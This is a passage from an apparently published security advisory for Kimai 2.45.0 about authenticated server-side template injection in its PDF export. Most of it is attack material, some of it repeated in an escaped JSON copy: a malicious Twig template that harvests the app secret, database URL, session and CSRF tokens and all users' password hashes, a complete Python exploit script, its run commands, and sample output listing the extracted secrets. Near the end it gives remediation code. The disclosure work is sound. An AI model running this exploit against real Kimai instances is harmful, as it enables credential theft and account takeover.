password_hash: {{ user.password }}
roles: {{ user.roles|join(", ") }}
id: {{ user.id }}
</pre>

<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2>
<pre>
{% set seen = {} %}
{% for entry in entries %}
{% if entry.user is defined and entry.user.username not in seen %}
{% set seen = seen|merge({(entry.user.username): true}) %}
{{ entry.user.username }}:{{ entry.user.password }}
{% endif %}
{% endfor %}
</pre>

<h2>5. CSRF TOKENS</h2>
<pre>
_csrf/search: {{ app.session.get("_csrf/search") }}
_csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }}
_csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }}
</pre>

<h2>6. USER PREFERENCES</h2>
<pre>
{% set user = query.currentUser %}
{% for pref in user.preferences %}
{{ pref.name }}: {{ pref.value }}
{% endfor %}
</pre>

<h1>===SSTI_EXTRACTION_END===</h1>

</body>
</html>
TEMPLATE'

Step 2: Run the Exploit

python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Step 3: Extract Text from PDF

pdftotext kimai_extracted_data.pdf -

Detailed Exploit Usage

Requirements

# Install Python dependencies
pip install requests

# Install PDF text extraction tool
sudo apt install poppler-utils

Command Syntax

python3 ssti_exploit.py <target_url> <username> <password> [template_name]

Arguments:
  target_url    - Kimai instance URL (e.g., http://localhost:8001)
  username      - Valid admin username with export permissions
  password      - User password
  template_name - Optional: custom template (default: ssti-extract.pdf.twig)

Example Usage

# Basic usage
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

# With custom template
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig

Expected Output

╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝

[*] Connecting to http://localhost:8001
[*] Authenticating as admin
[+] Successfully authenticated as admin
[*] Triggering SSTI with template: ssti-extract.pdf.twig
[+] PDF generated successfully: 35356 bytes
[+] PDF saved to: kimai_extracted_data.pdf

============================================================
RAW EXTRACTED DATA:
============================================================
===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}

3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

============================================================
CRITICAL FINDINGS SUMMARY:
============================================================
[!] APP_SECRET: change_this_to_something_unique
[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
[!] Password Hashes Found: 2 unique
    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...
    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...
[!] Session Token: Present (serialized PHP object)
[!] CSRF Tokens: 2 found

[+] Exploitation successful!
[+] Full output saved to: kimai_extracted_data.pdf

Output Files

File Description
kimai_extracted_data.pdf PDF containing all extracted sensitive data

Manual PDF Text Extraction

# Extract text from PDF
pdftotext kimai_extracted_data.pdf -

# Save to file
pdftotext kimai_extracted_data.pdf extracted_secrets.txt

# Search for specific secrets
pdftotext kimai_extracted_data.pdf - | grep -E "(APP_SECRET|DATABASE_URL|\\\$2y\\\$)"

Error Handling

Error Message Cause Solution
Cannot connect to <url> Target unreachable Check URL and network
Authentication failed Wrong credentials Verify username/password
Template not found Template not deployed Deploy template first (Step 1)
Access denied Insufficient permissions Use admin account with export perms
pdftotext not installed Missing tool Run apt install poppler-utils

Complete Exploit Script (ssti_exploit.py)

#!/usr/bin/env python3
"""
Kimai 2.45.0 - SSTI Information Disclosure Exploit
Extracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens

Prerequisites:
1. Valid admin credentials
2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig

Usage: python3 ssti_exploit.py <target_url> <username> <password>
Example: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Author: Security Research
Date: 2026-01-05
"""

import requests
import re
import subprocess
import sys
import os

class KimaiSSTIExploit:
    def __init__(self, target, username, password):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.username = username
        self.password = password

    def login(self):
        """Authenticate to Kimai"""
        print(f"[*] Connecting to {self.target}")

        try:
            login_page = self.session.get(f"{self.target}/en/login", timeout=10)
        except requests.exceptions.ConnectionError:
            raise Exception(f"Cannot connect to {self.target}")
        except requests.exceptions.Timeout:
            raise Exception(f"Connection timeout to {self.target}")

        if login_page.status_code != 200:
            raise Exception(f"Cannot reach login page: HTTP {login_page.status_code}")

        csrf_match = re.search(r'name="_csrf_token"[^>]*value="([^"]+)"', login_page.text)
        if not csrf_match:
            raise Exception("CSRF token not found on login page")

        csrf = csrf_match.group(1)
        print(f"[*] Authenticating as {self.username}")

        login_resp = self.session.post(
            f"{self.target}/en/login_check",
            data={
                "_username": self.username,
                "_password": self.password,
                "_csrf_token": csrf
            },
            allow_redirects=True,
            timeout=10
        )

        # Check for successful login
        if "logout" not in login_resp.text.lower() and "sign out" not in login_resp.text.lower():
            if "invalid" in login_resp.text.lower() or "incorrect" in login_resp.text.lower():
                raise Exception("Invalid username or password")
            raise Exception("Authentication failed - check credentials")

        print(f"[+] Successfully authenticated as {self.username}")
        return True

    def trigger_ssti(self, template_name="ssti-extract.pdf.twig"):
        """Trigger SSTI via export functionality"""
        print(f"[*] Triggering SSTI with template: {template_name}")

        try:
            export_resp = self.session.post(
                f"{self.target}/en/export/data",
                data={
                    "renderer": template_name,
                    "state": "3",       # All states
                    "billable": "0",    # All billable states
                    "exported": "5",    # All export states
                    "markAsExported": "0",
                },
                timeout=60
            )
        except requests.exceptions.Timeout:
            raise Exception("Export request timed out")

        if export_resp.status_code == 404:
            raise Exception(f"Template '{template_name}' not found - deploy template first")

        if export_resp.status_code == 403:
            raise Exception("Access denied - user lacks export permissions")

        if export_resp.status_code != 200:
            raise Exception(f"Export failed: HTTP {export_resp.status_code}")

        if b'%PDF' not in export_resp.content[:10]:
            if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower():
                raise Exception("Template rendering error - check template syntax")
            raise Exception("Invalid response - expected PDF output")

        print(f"[+] PDF generated successfully: {len(export_resp.content)} bytes")
        return export_resp.content

    def extract_text(self, pdf_content, output_path="/tmp/kimai_ssti_output.pdf"):
        """Extract text from PDF using pdftotext"""
        with open(output_path, "wb") as f:
            f.write(pdf_content)

        try:
            result = subprocess.run(
                ["pdftotext", output_path, "-"],
                capture_output=True,
                text=True,
                timeout=30
            )
            if result.returncode != 0:
                print(f"[-] pdftotext error: {result.stderr}")
                return None
            return result.stdout
        except FileNotFoundError:
            print("[-] pdftotext not installed")
            print("    Install with: apt install poppler-utils")
            return None
        except subprocess.TimeoutExpired:
            print("[-] pdftotext timed out")
            return None

    def parse_findings(self, text):
        """Parse and categorize extracted data"""
        findings = {
            "app_secret": None,
            "database_url": None,
            "password_hashes": [],
            "session_token": None,
            "csrf_tokens": []
        }

        lines = text.split('\n')
        for i, line in enumerate(lines):
            line = line.strip()

            if "APP_SECRET:" in line:
                findings["app_secret"] = line.split("APP_SECRET:")[-1].strip()

            if "DATABASE_URL:" in line or "mysql://" in line:
                if "mysql://" in line:
                    findings["database_url"] = line.strip()
                elif i + 1 < len(lines):
                    findings["database_url"] = lines[i + 1].strip()

            if "$2y$" in line:
                findings["password_hashes"].append(line)

            if "UsernamePasswordToken" in line:
                findings["session_token"] = "Present (serialized PHP object)"

            if "_csrf" in line.lower() or len(line) == 43:
                if ":" in line:
                    findings["csrf_tokens"].append(line)

        return findings


def print_banner():
    print("""
╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝
""")


def main():
    print_banner()

    if len(sys.argv) < 4:
        print("Usage: python3 ssti_exploit.py <target_url> <username> <password> [template_name]")
        print()
        print("Arguments:")
        print("  target_url    - Kimai instance URL (e.g., http://localhost:8001)")
        print("  username      - Valid admin username")
        print("  password      - User password")
        print("  template_name - Optional: custom template name (default: ssti-extract.pdf.twig)")
        print()
        print("Example:")
        print("  python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!")
        print()
        print("Prerequisites:")
        print("  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig")
        print("  2. User must have export permissions (ROLE_ADMIN or higher)")
        sys.exit(1)

    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig"

    exploit = KimaiSSTIExploit(target, username, password)

    try:
        # Step 1: Authenticate
        exploit.login()

        # Step 2: Trigger SSTI
        pdf_content = exploit.trigger_ssti(template)

        # Step 3: Save PDF
        output_file = "kimai_extracted_data.pdf"
        with open(output_file, "wb") as f:
            f.write(pdf_content)
        print(f"[+] PDF saved to: {output_file}")

        # Step 4: Extract and display text
        text = exploit.extract_text(pdf_content)
        if text:
            print()
            print("="*60)
            print("RAW EXTRACTED DATA:")
            print("="*60)
            print(text[:2000])
            if len(text) > 2000:
                print(f"\n... [{len(text) - 2000} more characters]")

            # Parse findings
            findings = exploit.parse_findings(text)

            print()
            print("="*60)
            print("CRITICAL FINDINGS SUMMARY:")
            print("="*60)

            if findings["app_secret"]:
                print(f"[!] APP_SECRET: {findings['app_secret']}")

            if findings["database_url"]:
                print(f"[!] DATABASE_URL: {findings['database_url']}")

            if findings["password_hashes"]:
                unique_hashes = list(set(findings["password_hashes"]))
                print(f"[!] Password Hashes Found: {len(unique_hashes)} unique")
                for h in unique_hashes[:5]:
                    print(f"    {h[:80]}...")
                if len(unique_hashes) > 5:
                    print(f"    ... and {len(unique_hashes) - 5} more")

            if findings["session_token"]:
                print(f"[!] Session Token: {findings['session_token']}")

            if findings["csrf_tokens"]:
                print(f"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found")

        print()
        print("[+] Exploitation successful!")
        print(f"[+] Full output saved to: {output_file}")
        return 0

    except KeyboardInterrupt:
        print("\n[-] Interrupted by user")
        return 130
    except Exception as e:
        print(f"[-] Exploitation failed: {e}")
        return 1


if __name__ == "__main__":
    sys.exit(main())

Impact Analysis

Extracted Data Security Impact
APP_SECRET Can forge Symfony login links to access ANY user account
DATABASE_URL Direct database connection credentials exposed
Password Hashes Offline password cracking possible (bcrypt)
Session Tokens Session structure analysis, potential replay attacks
CSRF Tokens Bypass CSRF protection for subsequent attacks

Attack Chain Example

  1. Exploit SSTI → Extract APP_SECRET
  2. Use APP_SECRET to forge login link for target user
  3. Access target user's account without knowing their password

Remediation

Immediate Fix

Replace DefaultPolicy with InvoicePolicy in ExportPolicy:

// src/Twig/SecurityPolicy/ExportPolicy.php
// Change:
$this->policy->addPolicy(new DefaultPolicy());

// To:
$this->policy->addPolicy(new InvoicePolicy());

Additional Hardening

  1. Block environment access in templates: php public function checkMethodAllowed($obj, $method): void { if ($obj instanceof Request && $method === 'getServer') { throw new SecurityError('Server access not allowed'); } }

  2. Block session access in templates: php if ($obj instanceof Session) { throw new SecurityError('Session access not allowed'); }

  3. Restrict User object property access: php if ($obj instanceof User && $method === 'getPassword') { throw new SecurityError('Password access not allowed'); }


Reported by: Mahammad Huseynkhanli

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.46.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23626"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T17:07:13Z",
    "nvd_published_at": "2026-01-18T23:15:48Z",
    "severity": "MODERATE"
  },
  "details": "# Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)\n\n## Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | Authenticated SSTI via Permissive Export Template Sandbox || **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | High (Admin with export permissions and server access) |\n| **User Interaction** | None |\n| **Impact** | Confidentiality: HIGH (Credential/Secret Extraction) |\n| **Affected Versions** | Kimai 2.45.0 (likely earlier versions) |\n| **Tested On** | Docker: kimai/kimai2:apache-2.45.0 |\n| **Discovery Date** | 2026-01-05 |\n\n---\n\n**Why Scope is \"Changed\":** The extracted `APP_SECRET` can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.\n\n---\n\n## Vulnerability Description\n\nKimai\u0027s export functionality uses a Twig sandbox with an overly permissive security policy (`DefaultPolicy`) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:\n\n1. **Environment Variables** (APP_SECRET, DATABASE_URL)\n2. **All User Password Hashes** (bcrypt)\n3. **Serialized Session Tokens**\n4. **CSRF Tokens**\n\n---\n\n## Prerequisites\n\n1. **Authenticated Access**: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)\n2. **Template Deployment**: Ability to place a malicious `.pdf.twig` template in `/opt/kimai/var/export/` via:\n   - Filesystem access (server admin)\n\n---\n\n## Test Environment\n\n### Users in Test Instance\n\nThe test environment contains 2 users whose password hashes were successfully extracted:\n\nKimai Users Page - screenshot_users.png:\n\u003cimg width=\"1124\" height=\"1119\" alt=\"screenshot_users\" src=\"https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235\" /\u003e\n\n\n| User | Role | Hash Extracted |\n|------|------|----------------|\n| admin | ROLE_SUPER_ADMIN | \u2705 Yes |\n| lowpriv | ROLE_USER | \u2705 Yes |\n\n---\n\n## Confirmed Exploitation Evidence\n\n### Test Date: 2026-01-05\n\n### Extracted Data (Actual Output from Exploit)\n\n```\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{\n  i:0;N;i:1;s:12:\"secured_area\";i:2;a:5:{\n    i:0;O:15:\"App\\Entity\\User\":5:{\n      s:2:\"id\";i:1;\n      s:8:\"username\";s:5:\"admin\";\n      s:7:\"enabled\";b:1;\n      s:5:\"email\";s:17:\"admin@example.com\";\n      s:8:\"password\";s:60:\"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\";\n    }\n    i:1;b:1;i:2;N;i:3;a:0:{}\n    i:4;a:2:{i:0;s:16:\"ROLE_SUPER_ADMIN\";i:1;s:9:\"ROLE_USER\";}\n  }\n}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n```\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php`\n\nThe export functionality uses `ExportPolicy` which includes `DefaultPolicy`:\n\n```php\n$this-\u003epolicy-\u003eaddPolicy(new DefaultPolicy());\n```\n\n### The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php`\n\n```php\nfinal class DefaultPolicy implements SecurityPolicyInterface\n{\n    public function checkSecurity($tags, $filters, $functions): void\n    {\n        // EMPTY - No restrictions on Twig tags/filters/functions\n    }\n\n    public function checkMethodAllowed($obj, $method): void\n    {\n        // EMPTY - Allows ANY method call on ANY object\n    }\n\n    public function checkPropertyAllowed($obj, $property): void\n    {\n        // EMPTY - Allows ANY property access on ANY object\n    }\n}\n```\n\nThis allows templates to call methods like:\n- `app.request.server.get(\"APP_SECRET\")` - Environment variable access\n- `app.session.get(\"_security_secured_area\")` - Session data access\n- `entry.user.password` - Password hash access\n\n---\n\n## Exploitation Steps\n\n### Step 1: Deploy Malicious Template\n\nSave the following as `/opt/kimai/var/export/ssti-extract.pdf.twig`:\n\n```bash\ndocker exec kimai-kimai-1 bash -c \u0027cat \u003e /opt/kimai/var/export/ssti-extract.pdf.twig \u003c\u003c \"TEMPLATE\"\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eSSTI Data Extraction\u003c/title\u003e\n    \u003cstyle\u003e\n        body { font-family: monospace; font-size: 10px; }\n        h1, h2 { color: #333; }\n        pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }\n    \u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\n\u003ch1\u003e===SSTI_EXTRACTION_START===\u003c/h1\u003e\n\n\u003ch2\u003e1. ENVIRONMENT VARIABLES\u003c/h2\u003e\n\u003cpre\u003e\nAPP_SECRET: {{ app.request.server.get(\"APP_SECRET\") }}\nDATABASE_URL: {{ app.request.server.get(\"DATABASE_URL\") }}\nAPP_ENV: {{ app.request.server.get(\"APP_ENV\") }}\nAPP_DEBUG: {{ app.request.server.get(\"APP_DEBUG\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e2. SESSION TOKEN (SERIALIZED)\u003c/h2\u003e\n\u003cpre\u003e\n{{ app.session.get(\"_security_secured_area\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e3. CURRENT USER DETAILS\u003c/h2\u003e\n\u003cpre\u003e\n{% set user = query.currentUser %}\nusername: {{ user.username }}\nemail: {{ user.email }}\npassword_hash: {{ user.password }}\nroles: {{ user.roles|join(\", \") }}\nid: {{ user.id }}\n\u003c/pre\u003e\n\n\u003ch2\u003e4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\u003c/h2\u003e\n\u003cpre\u003e\n{% set seen = {} %}\n{% for entry in entries %}\n{% if entry.user is defined and entry.user.username not in seen %}\n{% set seen = seen|merge({(entry.user.username): true}) %}\n{{ entry.user.username }}:{{ entry.user.password }}\n{% endif %}\n{% endfor %}\n\u003c/pre\u003e\n\n\u003ch2\u003e5. CSRF TOKENS\u003c/h2\u003e\n\u003cpre\u003e\n_csrf/search: {{ app.session.get(\"_csrf/search\") }}\n_csrf/datatable_update: {{ app.session.get(\"_csrf/datatable_update\") }}\n_csrf/entities_multiupdate: {{ app.session.get(\"_csrf/entities_multiupdate\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e6. USER PREFERENCES\u003c/h2\u003e\n\u003cpre\u003e\n{% set user = query.currentUser %}\n{% for pref in user.preferences %}\n{{ pref.name }}: {{ pref.value }}\n{% endfor %}\n\u003c/pre\u003e\n\n\u003ch1\u003e===SSTI_EXTRACTION_END===\u003c/h1\u003e\n\n\u003c/body\u003e\n\u003c/html\u003e\nTEMPLATE\u0027\n```\n\n### Step 2: Run the Exploit\n\n```bash\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n```\n\n### Step 3: Extract Text from PDF\n\n```bash\npdftotext kimai_extracted_data.pdf -\n```\n\n---\n\n## Detailed Exploit Usage\n\n### Requirements\n\n```bash\n# Install Python dependencies\npip install requests\n\n# Install PDF text extraction tool\nsudo apt install poppler-utils\n```\n\n### Command Syntax\n\n```\npython3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e [template_name]\n\nArguments:\n  target_url    - Kimai instance URL (e.g., http://localhost:8001)\n  username      - Valid admin username with export permissions\n  password      - User password\n  template_name - Optional: custom template (default: ssti-extract.pdf.twig)\n```\n\n### Example Usage\n\n```bash\n# Basic usage\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\n# With custom template\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig\n```\n\n### Expected Output\n\n```\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551     Kimai 2.45.0 - SSTI Information Disclosure Exploit        \u2551\n\u2551                                                               \u2551\n\u2551  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\n[*] Connecting to http://localhost:8001\n[*] Authenticating as admin\n[+] Successfully authenticated as admin\n[*] Triggering SSTI with template: ssti-extract.pdf.twig\n[+] PDF generated successfully: 35356 bytes\n[+] PDF saved to: kimai_extracted_data.pdf\n\n============================================================\nRAW EXTRACTED DATA:\n============================================================\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{...}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n\n============================================================\nCRITICAL FINDINGS SUMMARY:\n============================================================\n[!] APP_SECRET: change_this_to_something_unique\n[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\n[!] Password Hashes Found: 2 unique\n    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...\n    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...\n[!] Session Token: Present (serialized PHP object)\n[!] CSRF Tokens: 2 found\n\n[+] Exploitation successful!\n[+] Full output saved to: kimai_extracted_data.pdf\n```\n\n### Output Files\n\n| File | Description |\n|------|-------------|\n| `kimai_extracted_data.pdf` | PDF containing all extracted sensitive data |\n\n### Manual PDF Text Extraction\n\n```bash\n# Extract text from PDF\npdftotext kimai_extracted_data.pdf -\n\n# Save to file\npdftotext kimai_extracted_data.pdf extracted_secrets.txt\n\n# Search for specific secrets\npdftotext kimai_extracted_data.pdf - | grep -E \"(APP_SECRET|DATABASE_URL|\\\\\\$2y\\\\\\$)\"\n```\n\n### Error Handling\n\n| Error Message | Cause | Solution |\n|---------------|-------|----------|\n| `Cannot connect to \u003curl\u003e` | Target unreachable | Check URL and network |\n| `Authentication failed` | Wrong credentials | Verify username/password |\n| `Template not found` | Template not deployed | Deploy template first (Step 1) |\n| `Access denied` | Insufficient permissions | Use admin account with export perms |\n| `pdftotext not installed` | Missing tool | Run `apt install poppler-utils` |\n\n---\n\n\n\n## Complete Exploit Script (ssti_exploit.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nKimai 2.45.0 - SSTI Information Disclosure Exploit\nExtracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens\n\nPrerequisites:\n1. Valid admin credentials\n2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig\n\nUsage: python3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e\nExample: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\nAuthor: Security Research\nDate: 2026-01-05\n\"\"\"\n\nimport requests\nimport re\nimport subprocess\nimport sys\nimport os\n\nclass KimaiSSTIExploit:\n    def __init__(self, target, username, password):\n        self.target = target.rstrip(\u0027/\u0027)\n        self.session = requests.Session()\n        self.username = username\n        self.password = password\n        \n    def login(self):\n        \"\"\"Authenticate to Kimai\"\"\"\n        print(f\"[*] Connecting to {self.target}\")\n        \n        try:\n            login_page = self.session.get(f\"{self.target}/en/login\", timeout=10)\n        except requests.exceptions.ConnectionError:\n            raise Exception(f\"Cannot connect to {self.target}\")\n        except requests.exceptions.Timeout:\n            raise Exception(f\"Connection timeout to {self.target}\")\n            \n        if login_page.status_code != 200:\n            raise Exception(f\"Cannot reach login page: HTTP {login_page.status_code}\")\n        \n        csrf_match = re.search(r\u0027name=\"_csrf_token\"[^\u003e]*value=\"([^\"]+)\"\u0027, login_page.text)\n        if not csrf_match:\n            raise Exception(\"CSRF token not found on login page\")\n        \n        csrf = csrf_match.group(1)\n        print(f\"[*] Authenticating as {self.username}\")\n        \n        login_resp = self.session.post(\n            f\"{self.target}/en/login_check\",\n            data={\n                \"_username\": self.username,\n                \"_password\": self.password,\n                \"_csrf_token\": csrf\n            },\n            allow_redirects=True,\n            timeout=10\n        )\n        \n        # Check for successful login\n        if \"logout\" not in login_resp.text.lower() and \"sign out\" not in login_resp.text.lower():\n            if \"invalid\" in login_resp.text.lower() or \"incorrect\" in login_resp.text.lower():\n                raise Exception(\"Invalid username or password\")\n            raise Exception(\"Authentication failed - check credentials\")\n        \n        print(f\"[+] Successfully authenticated as {self.username}\")\n        return True\n    \n    def trigger_ssti(self, template_name=\"ssti-extract.pdf.twig\"):\n        \"\"\"Trigger SSTI via export functionality\"\"\"\n        print(f\"[*] Triggering SSTI with template: {template_name}\")\n        \n        try:\n            export_resp = self.session.post(\n                f\"{self.target}/en/export/data\",\n                data={\n                    \"renderer\": template_name,\n                    \"state\": \"3\",       # All states\n                    \"billable\": \"0\",    # All billable states\n                    \"exported\": \"5\",    # All export states\n                    \"markAsExported\": \"0\",\n                },\n                timeout=60\n            )\n        except requests.exceptions.Timeout:\n            raise Exception(\"Export request timed out\")\n        \n        if export_resp.status_code == 404:\n            raise Exception(f\"Template \u0027{template_name}\u0027 not found - deploy template first\")\n        \n        if export_resp.status_code == 403:\n            raise Exception(\"Access denied - user lacks export permissions\")\n            \n        if export_resp.status_code != 200:\n            raise Exception(f\"Export failed: HTTP {export_resp.status_code}\")\n        \n        if b\u0027%PDF\u0027 not in export_resp.content[:10]:\n            if b\u0027error\u0027 in export_resp.content.lower() or b\u0027exception\u0027 in export_resp.content.lower():\n                raise Exception(\"Template rendering error - check template syntax\")\n            raise Exception(\"Invalid response - expected PDF output\")\n        \n        print(f\"[+] PDF generated successfully: {len(export_resp.content)} bytes\")\n        return export_resp.content\n    \n    def extract_text(self, pdf_content, output_path=\"/tmp/kimai_ssti_output.pdf\"):\n        \"\"\"Extract text from PDF using pdftotext\"\"\"\n        with open(output_path, \"wb\") as f:\n            f.write(pdf_content)\n        \n        try:\n            result = 